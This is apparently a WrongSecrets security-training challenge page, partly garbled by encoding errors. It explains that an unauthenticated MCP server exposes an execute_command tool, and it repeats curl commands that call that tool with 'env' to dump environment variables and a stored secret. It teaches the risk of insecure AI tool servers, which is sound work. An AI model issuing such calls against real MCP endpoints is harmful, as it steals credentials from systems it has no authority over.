curl -s -X POST http://localhost:8090/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
Challenge 60 ββ
Welcome to challenge Challenge 60.
Find the secret hidden in the WrongSecrets repository. This challenge focuses on AI.
π‘ Look for: Configuration files, source code, environment variables, Docker files, or cloud infrastructure related to this challenge.
The Model Context Protocol (MCP), developed by Anthropic, is an open standard that allows AI assistants to connect to tools and data sources. While MCP enables powerful integrations, poorly secured MCP servers represent a significant security risk: they can expose sensitive secrets stored in environment variables to anyone who can reach them.
This challenge demonstrates a realistic scenario where a developer has deployed an MCP server with an execute_command tool. This type of tool is common in MCP servers used to give AI assistants shell access β but it can be abused by anyone who discovers the endpoint.
Your goal:
An MCP server is running on a dedicated port (8090) separate from the main application
The server exposes an execute_command tool that returns the process environment variables
A secret (WRONGSECRETS_MCP_SECRET) is stored as an environment variable in the running container
The MCP server has no authentication β anyone who can reach port 8090 can call its tools
How to interact with the MCP server:
First, discover the available tools:
curl -s -X POST http://localhost:8090/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
Then, call the execute_command tool to retrieve environment variables and find the secret:
curl -s -X POST http://localhost:8090/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"execute_command","arguments":{"command":"env"}}}'
An insecure MCP (Model Context Protocol) server is running alongside this application on a dedicated port. It exposes an execute_command tool that leaks environment variables β including secrets.
β οΈ The MCP server is also reachable on the main port via /mcp.
Step 1 β Discover what tools the MCP server exposes:
curl -s -X POST http://localhost:8090/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":1,"method":"tools/list"}'
Step 2 β Call the execute_command tool to retrieve environment variables:
curl -s -X POST http://localhost:8090/mcp \
-H 'Content-Type: application/json' \
-d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"execute_command","arguments":{"command":"env"}}}'
π‘ Look for the WRONGSECRETS_MCP_SECRET key in the response above.